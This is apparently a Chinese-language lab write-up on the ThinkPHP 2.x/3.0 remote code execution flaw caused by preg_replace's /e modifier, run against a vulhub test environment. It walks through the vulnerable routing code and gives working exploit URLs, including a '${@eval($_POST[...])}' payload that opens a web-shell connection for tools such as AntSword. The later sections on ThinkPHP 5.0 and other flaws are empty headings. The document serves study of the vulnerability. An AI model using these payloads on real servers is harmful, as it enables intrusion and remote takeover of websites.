b ThinkPHP漏洞


一.什么是ThinkPHP
ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,遵循Apache 2开源协议发布,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib(标签库)、RoR的ORM映射和ActiveRecord模式。
ThinkPHP可以支持windows/Unix/Linux等服务器环境,正式版需要PHP 5.0以上版本,支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展。


ThinkPHP发展至今,
核心版本主要有以下几个系列,ThinkPHP 2系列、ThinkPHP 3系列、ThinkPHP 5系列、ThinkPHP 6系列,各个系列之间在代码实现及功能方面,有较大区别。
其中ThinkPHP 2以及ThinkPHP 3系列已经停止维护,ThinkPHP 5系列现使用最多,而ThinkPHP 3系列也积累了较多的历史用户。版本细分如下图所示

二.2.x/3.0 Getshell
在 PHP 中,preg_replace 函数用于执行一个正则表达式的搜索和替换操作。 在 PHP 5.5.0 之前,preg_replace 有一个特性,允许你使用 /e 修饰符, 这个修饰符会让你在替换字符串中执行 PHP 代码。然而,这个功能由于安全风险较高, 在 PHP 5.5.0 后被弃用,并在 PHP 7.0.0 中被完全移除。 preg_replace('正则规则','替换字符','目标字符') 具体来说,/e 修饰符的作用是将匹配到的内容当作 PHP 代码执行, 并用执行结果来替换匹配到的部分。下面是一个简单的
<?php
$originstr = "hello world";
$str2 = "would";
$res = preg_replace('/world/',$str2,$originstr);
echo $res;
?>这行代码使用 preg_replace 函数进行正则表达式替换。
/world/ 是正则表达式模式,它匹配字符串中的 "world"。
替换字符串是 $str2,即 "would"。
$originstr 是要进行替换操作的字符串 "hello world"。
正则表达式
/world/会在hello world中查找 "world"。找到 "world" 后,将其替换为 "would"。
输出

接下来这段代码的执行步骤是:
找到
$originstr中的"world"。执行
phpinfo();,该函数输出PHP配置信息。将"world"替换为
phpinfo();的输出结果。
/e修饰符,$str2中的内容phpinfo();被作为PHP代码执行,而不是简单地替换为字符串。
$str2 = "phpinfo();";
preg_replace('/world/e'
<?php
$originstr = "hello world";
$str2 = "phpinfo();";
$res = preg_replace('/world/e',$str2,$originstr);
echo $res;
?>
示例:
<?php
// 接收GET请求,并且把$_GET数组里面a的值赋值给$subject
// ?a=123 => $subject=123
$subject = @$_GET['a'];
// 在正则匹配中去匹配一个数字可以使用\d,但是一个\d只能匹配一个,要匹配所有的\d+
// \w是匹配单个单词, \w+是匹配一个或多个单词;连续的单词即abc
// 空格和换行都不匹配
$pattern = '/\w+/e';
$replacement = 'hello';
// 执行替换
$result = preg_replace($pattern, $replacement, $subject);
// 输出结果,实际上会执行 phpinfo() 函数
echo $result;
?>
执行

这是未定义的意思
在变量前面添加@就可以了
$subject = @$_GET['a'];然后执行

如果这里的替换部分可以自定义,我们就可以
<?php
// 接收GET请求,并且把$_GET数组里面a的值赋值给$subject
// ?a=123 => $subject=123
$subject = @$_GET['a'];
// 在正则匹配中去匹配一个数字可以使用\d,但是一个\d只能匹配一个,要匹配所有的\d+
// \w是匹配单个单词, \w+是匹配一个或多个单词;连续的单词即abc
// 空格和换行都不匹配
$pattern = '/\w+/e';
$replacement = @$_GET['a'];
// 执行替换
$result = preg_replace($pattern, $replacement, $subject);
// 输出结果,实际上会执行 phpinfo() 函数
echo $result;
?>
http://192.168.100.132/ttt.php?a=phpinfo()

接下里继续看ThinkPHP 2.x版本中的源码
漏洞产生的原因是因为ThinkPHP 2.x版本中,
使用preg_replace ('正则规则','替换字符','目标字符')的/e(可执行模式)模式匹配路由:
$depr = '\/';
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$res = preg_replace(‘/(\w+)'.$depr.'([^'.$depr.'\/]+)/e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
总体意思就是用explode函数把url拆开,然后再用implode函数拼接起来,然后带入preg_replace里面。
正则简化后就是/(\w+)\/([^\/\/]+)/e,解释一下,\w+表示匹配任意长的[字母数字下划线]字符串,
然后匹配 / 符号,再匹配除了 / 符号以外的字符
意思匹配连续的两个参数。
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
先来一步一步拆分
<?php
//这行代码输出服务器请求的路径信息。
echo $_SERVER['PATH_INFO'];
//$depr = '\/';
//$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
//$res = preg_replace(‘/(\w+)'.$depr.'([^'.$depr.'\/]+)/e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
?>未定义PATH_INFO 是因为我们没有给路径
添加上路径即可

<?php
// 这行代码输出服务器请求的路径信息。
echo $_SERVER['PATH_INFO'];
// 这行代码定义了分隔符,分隔符是 \/。在正则表达式中,斜杠/通常需要转义。
$depr = '\/';
// 这行代码使用 explode 函数将 $_SERVER['PATH_INFO'] 按照分隔符 \/ 拆分为数组 paths,
// 并去除路径信息两端的斜杠。
// 其中 trim() 用于去除 $_SERVER['PATH_INFO'] 两端的斜杠。
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
print_r ($paths);
// 这行代码尝试使用 preg_replace 进行正则替换,但有以下几个问题:
// 使用了错误的引号(‘ 和 ’),应改为标准的单引号(')。
// 使用了废弃的 e 修饰符。
// 存在潜在的安全隐患,因为 e 修饰符允许执行任意PHP代码。
//$res = preg_replace(‘/(\w+)'.$depr.'([^'.$depr.'\/]+)/e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
?>
然后是最后一行
$res = preg_replace(‘/(\w+)'.$depr.'([^'.$depr.'\/]+)/e', '$var[\'\\1\']="\\2";', implode($depr,$paths));// 可以看出这样
$res = preg_replace(‘
/(\w+)'.$depr.'([^'.$depr.'\/]+)/e',
这个正则表达式模式用于匹配特定格式的字符串,并分组捕获匹配的部分。
(\w+):匹配一个或多个字母、数字或下划线,并将其捕获到组1。
$depr:表示分隔符(这里是 /),用来分隔键和值。
([^' . $depr . '\/]+):匹配除分隔符之外的一个或多个字符,并将其捕获到组2。
/e:修饰符,表示将替换部分作为PHP代码执行(已在现代PHP版本中被弃用)
'$var[\'\\1\']="\\2";', // 替换字符
替换字符串中包含PHP代码,使用了捕获组。
\'\\1\':表示第一个捕获组的内容(键)。
\"\\2\":表示第二个捕获组的内容(值)。
$var['\\1']="\\2";:将第一个捕获组作为键,第二个捕获组作为值,存储到数组 $var 中。
implode($depr,$paths)); // 原始字符
将数组 $paths 中的元素用分隔符连接成一个字符串。
假设 $paths 数组为 ['key1', 'value1', 'key2', 'value2'],
则 implode($depr, $paths) 结果为 key1/value1/key2/value2。
整个过程
假设 $_SERVER['PATH_INFO'] 为 /key1/value1/key2/value2,则 trim($_SERVER['PATH_INFO'], '/') 结果为 key1/value1/key2/value2,然后 explode('/', trim($_SERVER['PATH_INFO'], '/')) 结果为 ['key1', 'value1', 'key2', 'value2']。先看简化版的
<?php
echo $_SERVER['PATH_INFO'];
$depr = '\/';
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
print_r (implode($depr,$paths));
?>
假如url是这样 : 127.0.0.1/index.php?s=1/2/3/4/5/6
也就是每次匹配 1和2 、 3和4 、 5和6。
然后\\1是取第一个括号里的匹配结果,
\\2是取第二个括号里的匹配结果,
也就是\\1 取的是 1 3 5,\\2 取的是 2 4 6。
那么就是连续的两个参数,一个被当成键名,一个被当成键值,传进了var数组里面。
而双引号是存在在 \\2 外面的,那么就说明我们要控制的是偶数位的参数。
127.0.0.1:8080/indexphp?s=1/2/3/${phpinfo()}/5/6 =====================================
tp2.php
<?php
$depr = '/'; // 分隔符,可以是其它符号
$paths = ['some', '${ phpinfo()}', 'to', '2'];
$var = [];
$res = preg_replace('/(\w+)' . preg_quote($depr, '/') . '([^' . preg_quote($depr, '/') . '\/]+)/e', '$var[\'\\1\']="\\2";', implode($depr, $paths));
// 输出结果
print_r($var);
?>不是每个版本都可以

暂时测得5.4.45是可以的

可以执行

同样的
<?php
$depr = '/'; // 分隔符,可以是其它符号
$paths = ['some', '${@eval($_REQUEST[8])}', 'to', '2'];
$var = [];
$res = preg_replace('/(\w+)' . preg_quote($depr, '/') . '([^' . preg_quote($depr, '/') . '\/]+)/e', '$var[\'\\1\']="\\2";', implode($depr, $paths));
// 输出结果
print_r($var);
?>
http://192.168.100.115/tp2.php?8=phpinfo();

接下来启动vulhub的tp2环境
先停掉之前启动的tp5的环境
停止的命令是
docker-compose down -v

然后启动tp2
启动查看靶机8080端口

tp2的漏洞很简单,
只需要在url的偶数位执行php代码即可
http://192.168.100.104:8080/index.php?s=1/2/3/${phpinfo()}/5/6
第二位好像不行,就用第4位。
然后想用蚁剑或者菜刀连的话需要
/index.php?s=1/2/3/${@print(eval($_POST[1]))}http://192.168.100.104:8080/index.php?s=1/2/3/${@print(eval($_POST[1]))}
三.5.0 Getshell
四.TP框架其它漏洞
五.漏洞利用工具
-.-
评论区